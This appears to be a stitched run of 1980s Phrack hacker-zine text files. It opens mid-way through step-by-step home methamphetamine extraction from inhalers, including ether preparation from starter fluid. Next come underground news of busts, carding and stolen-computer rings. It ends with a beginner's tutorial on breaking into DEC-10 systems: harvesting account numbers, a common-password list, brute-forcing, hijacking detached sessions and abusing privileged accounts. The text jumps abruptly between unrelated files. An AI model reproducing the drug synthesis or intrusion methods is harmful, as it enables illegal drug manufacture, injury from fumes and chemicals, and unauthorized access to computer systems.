what's goin on if you buy quantity. + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + LIST OF EQUIPMENT + ----------------- + + Two large eyedroppers- ten small glass bottles- one large glass or porcelain +bowl- coffee filters- one small jar with a top- one Pyrex baking dish- one +glass test tube. + +------------------------------------------------------------------------------- + -==*(> N O T I C E <)*==- + +PLEASE! DON'T SMOKE IN THE SAME ROOM WHEN YOU DO THIS. +OPEN A WINDOW IN THE ROOM IF POSSIBLE. +FOLLOW THESE INSTRUCTIONS EXACTLY. THIS RECIPE HAS BEEN TESTED AND THIS IS THE +BEST WAY TO DO IT. DON'T TAKE SHORTCUTS, AND DON'T EVEN START TO DO THIS +UNLESS YOU HAVE ABOUT 3 HOURS SPARE. +------------------------------------------------------------------------------- + PREPARING ETHER! +(DO THIS FIRST) + +Take one of the small bottles and spray starter fluid in it till it looks +half-full. Then fill the rest of the way with water, cap the bottle and shake +for 5 minutes. Then, draw off the top layer with the eyedropper, and throw +away the water layer. Repeat this until you have about 3 oz. of ether. Put +the cap on it, and put it in the refrigerator if you can. (If you can't, don't +worry about it) You'll use this in the procedure below. + +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + + THE TRIED AND TRUE HOME PRODUCTION METHOD + +(1) Break open the inhalers, a pair of real sharp scissors does this good. +Place the cottons that were inside in a jar and close the lid. (Remember you +use all 12 cottons.) + +(2) In the bowl, combine 1- 1/3 oz. water and 2/3 oz. muriatic acid. Shred +cottons in this solution, and knead for 5 minutes with hands. (ALWAYS BE SURE +THERE'S CLEAN RUBBER GLOVES on your hands.) You can do it bare-handed if you've +got tough skin. Squeeze all juice out of filters after you knead, and throw +em away. + +(3) Filter the remaining liquid into the quart jar. It will be necessary to do +this several times to get that awful smelling oil out. The chemicals in the +inhalers have been bonded to the HCl, and the oils have been filtered off. +Throw the filters away. + +(4) Pour enough of the solution into a small bottle to fill it 1/3 full. Save +any leftover juice for the second batch. + +(5) Pour 1/4 teaspoon of the lye crystals into the bottle and agitate. Do this +carefully, as the mixture will become hot, and give off a gas. Repeat this +step until the mixture remains cloudy. + +(6) Fill the bottle from step (5) up the rest of the way with ether. Cap the +bottle, and agitate for about 8 minutes. It is very important to expose every +molecule of the free-base to the ether for as long as possible. + +(7) Let the mixture settle. There will be a middle layer that is very thick. +Tap the side of the bottle to get this layer as thin as possible. + +(8) Remove the top layer with the eyedropper, being careful not to get any of +the middle layer in it. Save the top layer, and throw the rest away. + +(9) Fill a bottle half-way with water, and about 10 drops of acid. Pour the +top layer from step (8) into the bottle, and cap it. Shake the bottle for 2 +minutes. When it settles, remove the top layer and throw it away. The free +base has now been bonded to the HCl/water mixture. + +(10) If there is anything left from step (3), repeat the procedure with it. + +(11) Evaporate the solution in the Pyrex dish on low heat. You can do this on +the stove, but I have found that if you leave it on top of a hot-water heater +(like the one that supplies hot water to your house) for about 2-3 days, the +remaining crystals will be Methamphetamine. + + Some notes: + +Police are now calling this the "New Cocaine". + +It is very easy to become delirious off the ether fumes, so be sure you are +well ventilated, I mean it!!! + +Small, aspirin, or experiment bottles seem to work the best for smaller +batches. The measurements are not exact, so you don't have to be either. + +In step 9, be sure you don't use too much water. Remember, this is the water +you have to use to evaporate. + + ==Phrack Inc.== + + Volume One, Issue Four, Phile #9 of 11 +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + ///\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\\ +Metal Shop PRIVATE\\\ Phrack World News Issue 3 Part 1 ///_ _ _______ +Metal Shop AE \\\ ///| \/ | / _____/ +Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop + \\\ /// _________/ / +Present PWN III \\\///\\ Knight Lightning //\\\/// /__________/ +--------------- \-^^^^^^-^^^^^^^^^-/ Triad +_______________________________________________________________________________ + +MCI Working With BOCs +--------------------- +PacBell and MCI have combined forces to make the Security Pacific Data +Transmission Corporation.

Since then he has accumulated roughly $45,000 worth of +merchandise. + +He was caught once before in the summer of 1985 by Federal agents. However, as +the investigation went on, they didn't have enough material and dropped the +charges. + +Somewhere around the fourth week of February he was caught again, this time by +local authorities. Here is how it all started: + +"Two months ago, I had tons of stuff coming in and had another guy picking it +up. One night two weeks or so ago I had him go out to pick up a 20 meg 3 1/2 +inch hard drive. It was only the second time I had used that place as a drop +spot. Unfortunately, he walked right into a police stakeout and he was +followed, first to my house and then to his own." + +The next day the police went to the house of the friend and arrested him. He +willingly signed an affidavit stating that Mr. Carding was the mastermind +behind the whole operation and that he was just an accomplice. + +The court date has not yet been set but his crimes are as follows: + +- Fraudulent use of a credit card. +- Possession of stolen merchandise in excessive amounts. +- Computer Invasion (Hacking). + +On March 6, 1986: + +- The police confiscated his modem. It had been carded. +- He had a meeting with the detectives, in which he had to take a lie detector + test. They asked him if he was lying about any part of the case, if he + hacked into computers, and if he was using one specific person's card. +- He failed the test. + +The police believe he hacked into the computer of a bank in New Jersey, Mr. +carding denies all of it. However it is the truth. + +Most people didn't know it but Mr. Carding was one of the better hackers around +and should be remembered. + +He is pleading innocent to all charges and has signed a reverse affidavit +stating that the other guy was the mastermind. + +He, as of this writing, has not been arrested but expects to have full charges +brought on him within the next week. + + Information provided by Mister Carding +_______________________________________________________________________________ + +Boston Strangler Caught Scanning +-------------------------------- +The Boston Strangler was caught scanning, he wasn't scanning an extender, he +was scanning a prefix in his home town.

According to +them, "one of the cards blew up." They say that this happened before they had +the chance to erase the two "illegal" files they found on the hard drive. So +now then they had to hold onto it a bit longer. Naturally 2600 Magazine +suspected intentional foul play and stepped up the pressure on them to return +Private Sector. 2600 suspected the card they authorities were referring to was +the hard disk controller. They wouldn't stick another controller from another +machine in and they wouldn't let 2600 Magazine even look at the machine. What +an outrage! +------------------------------------------------------------------------------- +On Friday, February 28, 2600 Magazine announced the following. +------------------------------------------------------------------------------- +Private Sector has finally been returned, and is in the process of being +repaired.

The meeting room was called by some "The Colosseum." + +There was a $10 admission fee to the meeting room. Supposedly Chesire +Catalyst's girlfriend (who some said was blind and had a seeing eye dog) was +collecting the money and handing out the name tags. + +Some say there were about 25-30 people there in total, but Broadway Hacker +stated that there was only 23.

Since this meeting was +generally supposed to be about the revival of TAP Magazine, it was VERY +surprising to some that TWCB didn't go. To others however, this was expected. + +Their reason (excuse) has something to do with late plane arrivals and legal +problems (probably dealing with restrictions due to their probation. Supposedly +TUC's phone number was posted on the board at the front of the meeting room for +those who wanted to get in touch with him. + +There was basically chit chat until around 11:15 am when Chesire Catalyst began +talking about CCIS (Common Channel Inter-Office Signaling). His speech really +told nothing new but the best part of the discussion came out of the many +questions that were asked by the audience. Also around 11:15 is when Tim and +Paul from 2600 Magazine showed up. + +A little later, Scan Man and The Bootleg started to discuss the possibilities +of satellite phreaking, and up & down linking. + +A little later, Private Sector appeared and with him came an ad from Personal +Computing Magazine. The ad was from none other than Computel. Computel, the +supposed and almost definite fed operation magazine was discussed for quite a +long time. + +Chesire Catalyst began to distribute the final issue of TAP. It was issue #91, +Spring 1984. It included articles about credit agencies and UNIX, from BIOC; +Hacking Western Union, by TUC; Phreaks and hackers Morality, by Big Brother; +Passport check sums, and Bell Pie, among others. + +2600 Magazine gave out their latest issue, February 1986, Volume 3 Number 2 as +well as other promotional items. + +Sigmund Fraud was giving out older issues of TAP. + +Among other things, BBS numbers were passed and there were all sorts of +telecommunication magazines lying around. + +There was a break for lunch. When they returned Scan Man started in on Chesire +about the money that MANY had sent in to TAP and never received the magazine or +their money back. Chesire replied, "It went to pay my bills." He also made +other remarks about how he hasn't spent it all and how he may send it back but +he really didn't ever answer the questions that Scan Man put to him. + + Much of this information came from Slave Driver and Sigmund Fraud +_______________________________________________________________________________ + +Metal Shop Brewery +------------------ +There is a NEW member to the Metal Shop family, thus completing the Metal Shop +Triad. + + Announcing... + _ _ _______ + | \/ | / _____/ + |_||_|etal / /hop + __________/ / + /___________/ + _______ ________ ________ __ __ ________ _______ __ __ +/ ___ \ / __ \ | _____| | | | | | _____| / __ \ | | | | +| |___| | | |__| | | |__ | | __ | | | |__ | |__| | | |_| | +| / | _ _/ | | | | | | | | | | | _ _/ \_ _/ +| ___ \ | | \ \ | __| | |_| |_| | | __| | | \ \ \ / +| |___| | | | \ \ | |_____ | | | |_____ | | \ \ | | +\_______/ |__| \__\ |________| \____________/ |________| |__| \__\ |_| + + 314-DWI-8259 + + 300/1200 Baud, No Parity, 8 Data Bits, 1 Stop Bit. + +Sysop: Beer Wolf +Co-sysop: Cheap Shades +------------------------------------------------------------------------------- + System Configuration: + +- IBM PC with 2 Half Height Teac 360k Floppy Drives +- 20Meg MiniScribe Hard Drive +- Hayes SmartModem 1200 +- Epson LQ-1500 Printer +- Total of 448k of RAM and expecting 2 Meg soon +------------------------------------------------------------------------------- +While Metal Shop Brewery is mainly an IBM Pirate Board, it also has interesting +message bases. + +Some of them include these topics: + +- New Users +- Bulletin Boards +- General Schtuff +- Programming +- Things that go BOOM!

It is unknown if TWCB and the new TAP +Staff will acquire these articles.

TWCB claims to have received over a +100 articles from TOP Hack/Phreakers. +------------------------------------------------------------------------------- +As to the reasons concerning TWCB not appearing at the TAP-TelePub'86, Tim +posted the following on the Phrack/TAP subboard on Metal Shop PRIVATE: + +"Well the meeting totally got screwed I couldn't make it, mainly because + Cheshire sorta fucked TAP over. I think he was just in it for the money. He + was supposed to set up a PRIVATE meeting for TAP and it was going to be before + the big meeting, well I called some people at the Days in at about 4:00 AM in + the morning from the airport, the morning of the meeting, and they say well + Cheshire says that the Private meeting is going to be after the Big Meeting + and everyone already knows where were going." + +"Anyway I couldn't make it cause my plane landed at Laguardi and I was to take + the plane back at 11:30 AM, well it takes 45 minutes to get to the Days Inn + and didn't want to go to the big meeting because of serious LEGAL troubles." + +(Editor's note: The way I heard it directly from Tim, is that they called from + St. Louis International to NYC and heard about the changes and knew about + their late plane situation and decided to blow it off.) +------------------------------------------------------------------------------- +The following is the story of how TWCB got started with TAP: + +At first, there it was... Metal Shop standing proud, the home of Phrack +Newsletter. TWCB saw this and put up Whackoland, which many of you may notice +was made specifically to look like MS. Furthermore, TWCB was gonna have a +magazine originally called "Whackoland Gazette" until TWCB realized that with +Metal Shop and P-80 backing it and not just Whackoland, they would have to +change the name. Phrack was supposed to be reprinted in this mag. The list of +boards backing it grew quickly. Still however it was a magazine without a +name. Then TWCB started hearing about the revival of TAP and how the meetings +were not going very well. They called Chesire Catalyst and started working out +the preliminary details, which brings us to where we are today. +------------------------------------------------------------------------------- +There are those however who would NOT like to see TAP restarted. Among them, +2600 Magazine and Project Inform. Who could blame them? No one likes +competition. This was okay however until, TWCB got a call from TUC, Lex Luthor, +Susan Thunder, and Mark Tabas (the staff members of Project Educate). They +claimed they want TWCB to publish for them, TWCB refused. Later they received +a threatening call from TUC, in which they were informed that TUC would have +security people watching TWCB all the time and when they slipped up...*BOOM* + +Now TWCB says that TUC later called and now is fully behind TAP and has +accepted editorship with TAP. +------------------------------------------------------------------------------- +ALL information in this article, excluding the short history and investigative +sections, was provided by TWCB Inc.

TWCB is +not very happy about this but, we really don't care. + +The reasons that the Teltec Bust story did not appear in this issue of PWN is +that most of the info we have on it was supplied by Surfer Bill in an interview +he did with TWCB. I have the taped interview, but as it was done by TWCB it +therefore was TAP property. However, should TAP issue #1 not be in print by +the time Phrack V is ready, the Teltec story WILL appear in Phrack World News +Issue Number IV. + +:Knight Lightning +_______________________________________________________________________________ + +Monty Python Retires +-------------------- +The following message appeared on Stronghold East Elite on Sunday, February 9, +1986, 4:50:53 PM. +------------------------------------------------------------------------------- + I have formally retired from the phreaking world, permanently. I have *NOT* +been busted or been given any heat by anyone or any corporation. I just have +no time what-so-ever to devote myself to give phreaking the appropriate time it +deserves. Schoolwork is bringing me down, and I have a big research paper +coming up, plus lots of other work. + Honestly, phreaking doesn't seem much fun anymore. I especially hate the +attitudes of some phreaks (who shall remain nameless) who have their head in +the clouds, and put down everyone else. It is quite a pain in the ass, and +these people look like fools, cause they are usually nothing quite like what +they think they are. + My "retirement" entails the ceasing of myself of calling phreak boards, +hacking, and trashing. If you want to call me up on a conference, don't bother +(some of you have done so in the past). I don't have the time and I am not +interested. + +Later on and be seeing you from time to time... + + Monty Python +------------------------------------------------------------------------------- +Editor's Note: Monty Python did ask for his account to be kept active at + Stronghold East, so that he may see what's new, from time to + time. Also Monty Python has further stated that he may return + to the phreak world this summer. +_______________________________________________________________________________ + +Demise of The Sprinter +---------------------- +On the front page of the Wednesday, February 12, 1986 edition of the Seattle +P-I were the headlines COMPUTER INVASION CHARGED. Kirkland youth accused of +snooping. Some of the articles highlights were: + + One Michael P. Wilkerson (The Sprinter) was so successful in bypassing four +companies computer security. He could copy or destroy data even the sysops +couldn't touch. The 18 year old most notably tapped into MicroSoft's +mainframe, along with 3 other companies, Kenworth Truck, Sunstrand Data +Control, and Resource Conservation companies. + + Looks like the district attorney is asking for a 90 day sentence and will get +it due to the cooperation (read plea bargaining) given by Sprinter. During the +search, the police discovered a list of TRW dial-ups and passwords and a +handwritten list of Visa, Mastercard, and Amex credit card numbers. +------------------------------------------------------------------------------- +It turns out that Sprinter is also under investigation for illegal credit card +purchases in his home state of California. Most notably a $1400 bicycle. + +A real nice point made by the district attorney is that possession of the list +of card numbers is NOT a crime. Only the use of them is illegal. +------------------------------------------------------------------------------- +Now that was the Seattle P-I's interpretation of those events, this is +everything else we at Phrack Inc. have been able to uncover. +------------------------------------------------------------------------------- +Sprinter got busted for hacking on a large VAX/VMS system, and since it was +local to him, he didn't bother to go through an extender. He didn't feel there +was any danger considering he wasn't using a lead number. + +Sprinter was well known for his "bible" of Sprint codes that was always kept +filled. His bible and all computer equipment were confiscated. + +Sprinter has 4 charges of hacking. One nice part about this is that since his +bust, Sprinter has received several job offers for computer security, including +an offer from MicroSoft Inc. (Editor's note: I wonder if MicroSoft will drop +its charges against Sprinter as a part of the contract should he sign with +them). + +The one interesting twist to this story is that Sprinter's bosses got into +some deep shit. While people were going through Sprinter's computer things +(which was in his bosses' office) they found some evidence that led them to +believe that Sprinter's bosses were large cocaine dealers. Sprinter's bosses +haven't been heard from since. Later reports did however tell that 1 of them +is now serving a 7 year prison sentence and the other is presumed dead. This +part is very unspecific because it doesn't say what their basis for this +judgement are. Did they find the body? Or is he just missing? + + Much of this information has been provided by + Sally Ride (Space Cadet), + The Guardian Demon, + and + Jester Sluggo +_______________________________________________________________________________ + +Some Quick Notes +---------------- +The Matrix, formally at 415-922-1370, is down due to the hard drive being +broken.

See story on Phoenix Phortress in this issues PWN. +------------------------------------------------------------------------------- +The phreaks in Massachusetts and many other nearby areas are in quite a frenzy +right now due to a possible bust of Dr. Who 413. It appears that while at +school, his parents were showed a search warrant by the Secret Service, who +then searched through his computer equipment as well as his notes etc. He +eventually went home and is currently waiting for results. There is a very +high probability that he has by now been busted. Look for a future story on +his bust and its after-effects in the next Phrack World News. +------------------------------------------------------------------------------- +Phreak Klass 2600 originally died because Red Devil became bored of phreaking. +Now Crimson Death (Sysop of Hell Phrozen Over) and Videosmith are looking for +someone to run Phreak Klass 2600 II. +------------------------------------------------------------------------------- +Feyd Rautha was NOT busted but did retire from the phreak world. In his own +words, he is "phazed out" or bored of phreaking. A word to all, especially +sysops, there is another Feyd Rautha now.

I have copies of the statements + he made in Fort Worth to the FBI and to the Fort Worth Police Department to + get me busted.

Former + Racketeers members who are now regrouped include: Hot Rod, Warezird, and The + Micron. +------------------------------------------------------------------------------- +The above information should be considered as direct quotes from The Mentor. +The Apple //e referred to is one of the many stolen Apple //es talked about in +the story below. +------------------------------------------------------------------------------- +A little background on Extasyy. + +Extasyy hung out on Hack Net BBS and FWSO, a bbs in Colorado. Poltergeist was +always bragging about how he was a master computer thief. + +The Mentor wanted to try his luck as well. In his case, a not very wise idea. +------------------------------------------------------------------------------- +He and two others went to a high school computer room in Hayes County, Texas. +The room was separate from the rest of the building and one of the windows was +unlocked. + +One of the other two people that went was a student at the school. + +It took three car trips to transport all the computers, most of them were kept +in friend's apartments. The Mentor gave many of the computers away to friends +of his, which helped his popularity greatly. He also gave two monitors to +Poltergeist. However he neglected to scratch the serial numbers off them. A +more or less fatal mistake. + +Each of the apartment owners were allowed to keep one computer, as well as the +other two accomplices. Gradually the people with the apartments began to hide +or give away some of the computers themselves. + +The Mentor finally took all the rest of the computers to a storage warehouse +and then gave away or sold what was left of them. + +One month later... + +In Fort Worth, Texas, The Poltergeist was busted, mainly for credit card fraud, +but there were many other charges as well. He talked all about Extasyy and its +members and when the police found the Mentor's phone number, Poltergeist talked +some more. Among his confiscated equipment were two monitors. The serial +numbers were checked and this led the police and FBI to the now one month old +computer theft in Hayes County. + +Meanwhile, one of the apartment owners was trying to sell off one of his +computers to an ex-girl friend. Unfortunately she knew they were "hot" and +told the police. (Advice here guys don't try to sell "hot" items to ex-girl +friends). + +Soon after the police took him in and were going to press charges on him as +being the mastermind thief. Until he told them the truth about where he got +the merchandise, implicating The Mentor and the others. + +Soon after, the police and FBI had The Mentor, and even though he no longer had +any of the stolen equipment, a warrant and search turned up many other +interesting illegal items. His family being prominent in his town, his dad +wanted him to cooperate fully with the authorities. + +Phreaking was basically unheard of by the police in 512 and they wanted to know +how everyone was doing it. The Mentor's response was "Blue Boxing". His town +is now equipped with 2600 Hertz detectors on the phone lines. Too bad for +Southwestern Bell that Mentor lied about blue boxing. + +Mentor's dad always had something against The Protestor, if for no other +reason than the fact that he was the one who got Mentor started into phreaking. + +The police were interested in the phreak boards, so Mentor's dad suggested they +call Protestor's Shack, where The Mentor was a remote sysop. + +About this time Mentor had to use the bathroom, or so he told the police. On +his way to his restroom he stopped in the kitchen and called The Protestor. +He kept it very brief with the one way conversation consisting of roughly these +words, 'Get all the illegal shit off your board now! I'll explain later, just +do it!' + +Never the less, they called Protestor's Shack, only to discover that it was +busy. + +Protestor's Shack went down on February 24, 1986. At first it was thought that +Kleptic Wizard, a former Extasyy member, would take over the board in 314 +(St.Louis, MO). However, Protestor later decided that maybe it was time that +the board died. He did add however that he may release his board program as a +ware sometime in the near future. Most likely to be found on Kleptic Palace AE +first. He also does plan to one day return to the pirate/phreak/hack world. + + The above information was provided by The Protestor + with some parts by The Mentor +_______________________________________________________________________________ + +The Radio Station BBS +--------------------- +Where once stood the famous bulletin board "The Broadway Show", now stands The +Radio Station.

He took the phone number under the name of Al Davis. However he was +really Sgt. Daniel Pasquale of the Fremont Police Department. + +When he introduced his board to other computer users, he called it the "newest, +coolest, phreak board in town." (Editor's note: The word for today is +ENTRAPMENT!). + +Pasquale said he got the idea for the sting operation after a 16-year old +arrested last summer for possession of stolen property "rolled them over +(narced) He told us all about their operation." + +Pasquale used a police department Apple //e computer and equipment, with access +codes and information provided by eight corporations, including Wells Fargo +Bank, Sprint, and MCI. + +Pasquale said he received more than 2,500 calls from about 130 regular users +around the country. The police started to make their first case three days +after the board went up. + +"We had taken the unlisted phone number under the name Al Davis," Pasquale +said.

On March 23, 1985, The Broadway Show, his first bulletin +board, was launched into the BBS world. It started on 1 disk drive at 300 baud +and has upgraded incredibly. It was originally a phreak board as it currently +is also. He had originally gotten his C-64 computer in early 1985. Various +members of the elite world including King Blotto, Lex Luthor, and Dr. Who got +on his board to make it the memorable board that it was before the format +change. His phreak experience began in 1981 through CB radios when a CB'er +gave him a code over the line. Some of the memorable phreak boards he was on +included Blottoland, The AT&T Phone Center of 312, and Dark Side of the Moon of +818. He gives credit for his phreak knowledge to conferences mostly. The Radio + + Mike works at a very large radio station. His phreaking is unknown at +work. He's not particularly interested in programming beyond modifying The +Radio Station. + + Broadway Hacker hasn't the time for hacking now. Broadway attends the +Tap meetings in New York occasionally, but in the past he was a regular. He +attended the 1986 TelePub meeting in New York which was to decide the fate of +Tap magazine. Broadway has met various phreaks in person including BIOC Agent +003, Lex Luthor, Dr. Who, King Blotto, Cheshire Catalyst, The Sprinter, The +Saint, Micro Ghoul, 2600 Magazine People, Paul Muad'Dib, and TUC. There were +others, but he couldn't remember at 9:00 AM EST. He has made it a point to not +become a member of groups, but he has been, in the past, invited to many. + +------------------------------------------------------------------------------- + + Interests: Traveling, radio, telecommunications (modeming, phreaking), + trashing, meeting other phreaks, BBS'ing, and running The + Radio Station. + +Broadway Hacker's Favorite Things +--------------------------------- + + Women: No names mentioned but yes... + Cars: Fieros + Foods: Ray's Pizza (West 11th and 6th Ave.), Steve's Ice Cream + Music: Any top 40 groups in general. + +Most Memorable Experiences +-------------------------- + +Getting almost kidnapped by a gay bellhop in Denver +Getting stranded in California + +Some People to Mention +---------------------- + +Sigmund Fraud (an up-and-coming phreak who has learned a lot in a short time) + +------------------------------------------------------------------------------- + + Broadway Hacker wishes you all to know that he does not conference at +all any more because conferencing has depreciated from the old days and that +they have become mostly a place to gather for gossip. + +------------------------------------------------------------------------------- + +I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in +the near future. ...And now for the regularly taken poll from all interviewees. + +Of the general population of phreaks you have met, would you consider most +phreaks, if any, to be computer geeks?

This is the +new and revised edition. If you see my file distributed on some AE, BBS, +Catfur, and it's not the revised edition please ask the sysop to delete it. +Thank-you. + +------------------------------------ +Part I: Logging In, and simple cmds. +------------------------------------ +Note:Sysop's may download this file + but please keep the appropriate + credits. + + Welcome to Hacking Dec 10's! + + There is one way to recognize a Dec-10, you will get the "." prompt. First +there will be a little login message, sort of like a login on a BBS. For +example- + +NIH Timesharing + +NIH Tri-SMP 7.02-FF 19:57:11 TTY12 +system 1378/1381/1453 Connected to Node Happy(40) Line # 13 +Please LOGIN +. + + Now, you've gotten so far that you have found a Dec (Digital Equipment Corp), +you will need to know the format of the login. + +[Login format] + + The users have numbers called PPN's which stands for "Project/Program Number". +The format of a PPN number is [X,X]. The first number is the the Project number +and the second is the Program Number. + +ie- + +.Log 12,34 + + Job 64 NIH 7.01 KL 64-UC TTY12 +Password: + + The password can range from 1-8 characters long, it may contain numbers, +initials, or something of the sort. Try and think, if I were a user what would +my password be. I doubt that method would work but it's worth a try. + + Now say this is your very first time on a Dec 10 system. Now if you want to +see some information about the system and some commands you may want to type- + +.Help + + This will tell a little more about the system you are on. It will tell you how +to get information on a specific topic. It may also give you the number to +their voice dial-up just in case your having trouble. + Now the dial-up (voice) may help you if your good in BS'ing. Usually the Help +command will tell you to consult your 'Dec 10-system guide' for more +information. + + Now say you want a list of commands to execute. You can type- +.Help * + + You will then get the following commands- Which are too many to type in but +you will recognize them when you type Help *. + + Now after it shows all the commands it will then tell you how to login. It +will not give you a demo account, but will give you an example login. + + It will say something like, "The Login command is used for accessing the +Decsystem-10 timesharing system." + + To login please enter your project,programmer number pair. + + LOGIN XXX,XXXX + + The system will prompt you for your password. If your PPN or password is +wrong you will then be prompted with a message that says- + +Enter Project,programmer #xxx,xxxx +Password: + +End of that. + + Now, there are some other useful commands you may enter while still *not* +having a account. You can access Decnet which I will discuss later which is +very nice to a hacker. + + Now, there is also a command you can execute called "Help Phone". What this +does is, it lists the numbers of different Dec related staffs. etc.... +Example- + +.Help Phone + +DCRT/CCB/DECsystem-10 Information Phone numbers (4/86) + +Recorded message Dial xxx-xxxx +Dec-10 operator Dial xxx-xxxx +Dec-10 staff Dial xxx-xxxx +Terminal Repairs Dial xxx-xxxx +Classes/Courses Dial xxx-xxxx +Users Area Phone Dial xxx-xxxx +Project Control Office Dial xxx-xxxx + +NOTE:This is the same area code as the Decsystem. + + Now the two numbers which would be the most important to you would be the +number of the Dec10 operator and the Dec10 staff. + + Now the most important command which can be executed on the Dec10 which is +good to use is "Systat"; this will list PPN's, time, running job, time elapsed. + Once you get that PPN you can start hacking away. Using systat is the simplest +and easiest way to get PPN's. It will just be easier to type "SY" instead of +"Systat", they are both the same thing except sy is the abbreviation. + + Now here's a little example of what you would get by executing the "sy" +command. + +.SY + +Status of Brown University 603A at 11:52:33 on 29-Jan-86 + +Uptime 187:12:22, 80%Null time = 80%idle + 0%Lost +7 Jobs in use out of 128. 19 logged in 4 detached out of 89 (LOGMAX) +Job Who What Run Time + + 1 [OPR] OPSER 3:22 + 2 [OPR] DIALOG 1:29 + 3 [OPR] BATCON 4:01 + 4 [OPR] SYSINF 51:13 01 + 5 24,2 SYSTAT 4:52 + 6 2332,21 DIRECT 2:22 + 7 32,22 SYSTAT 8:19 + + There will also be more stuff along with the above. Now you shouldn't concern +yourself with it, that's why I didn't add in. Now also there will be more +sub-headings than run time, who, what, and job. You also shouldn't concern +yourself with that either. + + Now everything is really self explanatory which is up there. Now for +beginners who are reading this file I will just tell you what that means Job is +no concern. Who is telling you what kind of person is on the system. [OPR] +means Operator, and the numbers such as, 24,2 are referring to regular users +with PPN's. Now the next column which is "What". This is telling us what they +are executing or what they are presently doing on the system. Run time is +telling us what time they logged in. They are using military time. Now under +systat you can find: System File Structures, Busy devices, Height segments, and +Disk Structure. Don't worry about that stuff now. + + Now you've finally got yourself some PPN's, well the next thing to do is to +login using the procedure I showed you with Log. Enter the PPN xx,xx, and try +to hack out some passwords. + + I will now give you a list of passwords which I have currently used to get +into a Dec10. If these passwords don't work well I am sorry you'll just have to +try some yourself. + +Note: You can also make a little program having it testing out different PPN's +and Passwords. + +List of Passwords-- +------------------------------------- +Sex Dec Decnet +Games Test Dcl +System Computer Password +Help Link List +Secret Default Modem +Account Terminal Acsnet +Ppn Operator Connect +------------------------------------- + + There are many more passwords people use but I just put some common ones. + + You can also try random passwords like, AA, AAB, AB, CC, etc.. + + Now that is it on logging in. I spent a little too much time on this but +since this will be a two part file, I will discuss more commands that I don't +get around to discuss in here in part II. Now this file is intended for the +beginner so you experienced Dec hackers are bored now or will get bored later. + +Note: If connected to Acsnet, just type AcsDec10 to access the Dec. Everything +else that I mentioned in the login will work. + +[In the system] + + Now will assume you've finally gotten into the system after hacking your +brains out. Now, this is how you will know you are in the system. +Example- + +.Login 21,34 +Password: + +Note: You usually get two tries to enter PPN and Password. + + The Dec will introduce itself, saying when the last time you were on, etc. + + Also if you may do something like this to log-on. + +.Log 12,34 +JOB 51 NIH 7.01 KL 64-UC TT12 +Password:[c/r] +Other jobs detached with same PPN: +Job 34 running SYSTAT in ^C state +Do you want to ATTACH to this job? yes + + +Attaching to job 34 + + Now, what you are doing is attaching to an idle PPN. See, while someone else +is on the system, about 10 minutes before you, they can input a +command that will allow them to logoff and he can attach back to that PPN when +he logs back on. That person will then be put to the place where he logged off +at. If I were using 'sys', and I logged off. I would use the command 'detach'. +Now the person would have 15 minutes to call back and attach to his PPN. +There's one other way to attach to an account. If the person doesn't type +something for awhile he will automatically be logged off and if you call within +15 minutes you may be able to attach to his PPN. + +Note: You may still have to login. + + Ok, we are now in the system after it has verified itself. What do we do? Well +first let's take another look at the "systat". We notice there is one other +person logged in. But we see he is in "exe", this means he is doing nothing or +he's detached. In other words, don't worry about it. + Now if we wanted to change our password, we would type- + +/Password + + After we do this, the system will ask us for our old password and our new +password, but we should leave the password the way it is so we won't be +discovered. But it's a good thing to know. + + Now we can take a look at other users files. We can do this by typing- + +Dir [*,*] + +*=Wildcard + + This will show you files of users who have their files set for public access. +Now lets say we want to take a look at someone's file. We would type- + +Dir [12,11] + +If 12,11 was the user number we wanted we would type that inside the brackets. + + Now there are many types of files. Now you may have looked through someone's +dir, or looked through a wildcard and noticed some files. On most files you may +have seen the words 'txt' or 'exe'. + +For exe you will type- + +[PPN]filename.exe + +for txt you will type- +type filename.txt + + You may also see file types such as: dat, bas, cmd, pcl, bin, hlp, and some +others. + +<1>Exe=executable, which means that you can run these files from the "." +prompt. + +<2>Txt=Text, these are text files which may contain: information, data or other +numerous things. These are files you may see on most every user who has a +public directory, and I find the most popular on Dec-10's. + +<3>Bas=Basic, these files are written in of course basic, and must be used in +basic. To enter that on a Dec-10, just simply type Run Bas or if that doesn't +work type plain old basic. + +Note: The basic files are to be used like any other basic file, load them up +and run them. + +These are the most common files you may encounter. But when you master those +types of files you can go on and check out the other types of files. + +Another way of reading files, is by typing- + +File:[*,*] +Once again the '*' is the wildcard. + +[Creating a Directory] + + To create a directory you can type at the main prompt- 'Credir' + + There are 2 levels for a directory, the first level is- + +Class and the second is Tvedit. + + Now say we have a nice prived account, so we can have a 2 level directory. We +would type- + +Create Directory:[,,class,tvedit] + +The Dec-10 would reply by saying- + +Created Dska0:[x,x,class]Sfd/protec:775 +Created Dska0:[x,x,class,tvedit]sfd/protec:755 + + +x,x=The PPN you are using, and the Dska0 is the device. + + Now we can name our directory by typing- + +/Name: + +Note: You don't need the brackets. + + We can protect it by typing: + +/Protect: + + There are more '/' commands so you can take a look at them by doing '/help'. + + Enough of directories. + +[Privs] + + What almost every hacker wants when he logs onto a system is an account with +privileges. If we have an account with privileges we can make our own account +and do some other worth while things. Now on a Dec10 a prived account almost +always begins with a '1'. Ex- 1,10. Now we can check the system status (sys) +and see if we see anyone under a 1,x account. If we do then we can begin +hacking the password. Now if you get in under '1,2' well that's another story. +Hehe. Now say we do get in under a privileged account. Now first of all to +activate our prived accounts we would type 'enable' this will either give us a +'$' prompt or a '#' prompt. Whichever, it doesn't matter. We can still do what +we have to do. Now let's say we want to make up a nice account, we would type- + +$Build[x,x] or Create[x,x] + + After we do that we can edit that PPN or if it's new make up our own. + Now, I should've mentioned this before but, if you get in on a 1,x account +make sure there is not another user logged in under the same account. If it is +they may change the password, but even if they are in 'exe' and may be detached +we don't want to take any chances now. Now I suggest going on in the late +evening, early morning or if your home from school one day just call at noon or +so. + + There are many different levels of privs, there's the operator, wheel, and +CIA. CIA being the highest since you can do anything and everything. + Now if you have operator privs you can do the above which was make up an +account and create a nice directory. This will also be nice when attempting to +get into 